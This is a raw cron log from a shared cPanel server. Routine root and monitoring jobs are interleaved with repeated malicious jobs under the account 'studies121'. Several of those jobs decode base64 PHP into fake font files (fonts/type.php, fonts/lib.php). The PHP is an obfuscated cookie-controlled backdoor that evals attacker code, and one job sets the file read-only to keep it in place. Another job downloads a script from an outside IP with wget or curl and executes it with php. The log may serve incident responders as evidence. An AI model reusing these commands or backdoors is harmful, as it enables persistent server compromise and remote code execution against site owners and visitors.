Sep  4 10:34:02 ip-184-168-122-23 CROND[7187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:34:02 ip-184-168-122-23 CROND[7186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:34:02 ip-184-168-122-23 CROND[7183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:35:01 ip-184-168-122-23 CROND[7305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:35:01 ip-184-168-122-23 CROND[7304]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 10:35:01 ip-184-168-122-23 CROND[7310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:35:01 ip-184-168-122-23 CROND[7311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:35:01 ip-184-168-122-23 CROND[7308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:35:01 ip-184-168-122-23 CROND[7309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:35:01 ip-184-168-122-23 CROND[7306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:35:01 ip-184-168-122-23 CROND[7307]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 10:36:02 ip-184-168-122-23 CROND[7427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:36:02 ip-184-168-122-23 CROND[7430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:36:02 ip-184-168-122-23 CROND[7428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:36:02 ip-184-168-122-23 CROND[7429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:36:02 ip-184-168-122-23 CROND[7431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:37:01 ip-184-168-122-23 CROND[7554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:37:01 ip-184-168-122-23 CROND[7555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:37:01 ip-184-168-122-23 CROND[7556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:37:01 ip-184-168-122-23 CROND[7557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:38:02 ip-184-168-122-23 CROND[7652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:38:02 ip-184-168-122-23 CROND[7654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:38:02 ip-184-168-122-23 CROND[7655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:38:02 ip-184-168-122-23 CROND[7653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:38:02 ip-184-168-122-23 CROND[7657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:39:01 ip-184-168-122-23 CROND[7787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:39:01 ip-184-168-122-23 CROND[7789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:39:01 ip-184-168-122-23 CROND[7788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:39:01 ip-184-168-122-23 CROND[7790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:39:01 ip-184-168-122-23 CROND[7791]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 10:40:01 ip-184-168-122-23 CROND[7925]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:40:01 ip-184-168-122-23 CROND[7928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:40:01 ip-184-168-122-23 CROND[7932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:40:01 ip-184-168-122-23 CROND[7930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:40:01 ip-184-168-122-23 CROND[7931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:40:01 ip-184-168-122-23 CROND[7934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:40:01 ip-184-168-122-23 CROND[7935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:40:01 ip-184-168-122-23 CROND[7929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:41:01 ip-184-168-122-23 CROND[8054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:41:01 ip-184-168-122-23 CROND[8055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:41:01 ip-184-168-122-23 CROND[8057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:41:01 ip-184-168-122-23 CROND[8058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:42:01 ip-184-168-122-23 CROND[8228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:42:01 ip-184-168-122-23 CROND[8229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:42:01 ip-184-168-122-23 CROND[8232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:42:01 ip-184-168-122-23 CROND[8231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:42:01 ip-184-168-122-23 CROND[8230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:43:01 ip-184-168-122-23 CROND[8353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:43:01 ip-184-168-122-23 CROND[8356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:43:01 ip-184-168-122-23 CROND[8357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:43:01 ip-184-168-122-23 CROND[8355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:44:01 ip-184-168-122-23 CROND[8488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:44:01 ip-184-168-122-23 CROND[8487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:44:01 ip-184-168-122-23 CROND[8486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:44:01 ip-184-168-122-23 CROND[8485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:44:01 ip-184-168-122-23 CROND[8489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:45:01 ip-184-168-122-23 CROND[8614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:45:01 ip-184-168-122-23 CROND[8616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:45:01 ip-184-168-122-23 CROND[8618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:45:01 ip-184-168-122-23 CROND[8617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:45:01 ip-184-168-122-23 CROND[8619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:45:01 ip-184-168-122-23 CROND[8621]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:46:01 ip-184-168-122-23 CROND[8765]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 10:46:01 ip-184-168-122-23 CROND[8766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:46:01 ip-184-168-122-23 CROND[8767]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 10:46:01 ip-184-168-122-23 CROND[8768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:46:01 ip-184-168-122-23 CROND[8771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
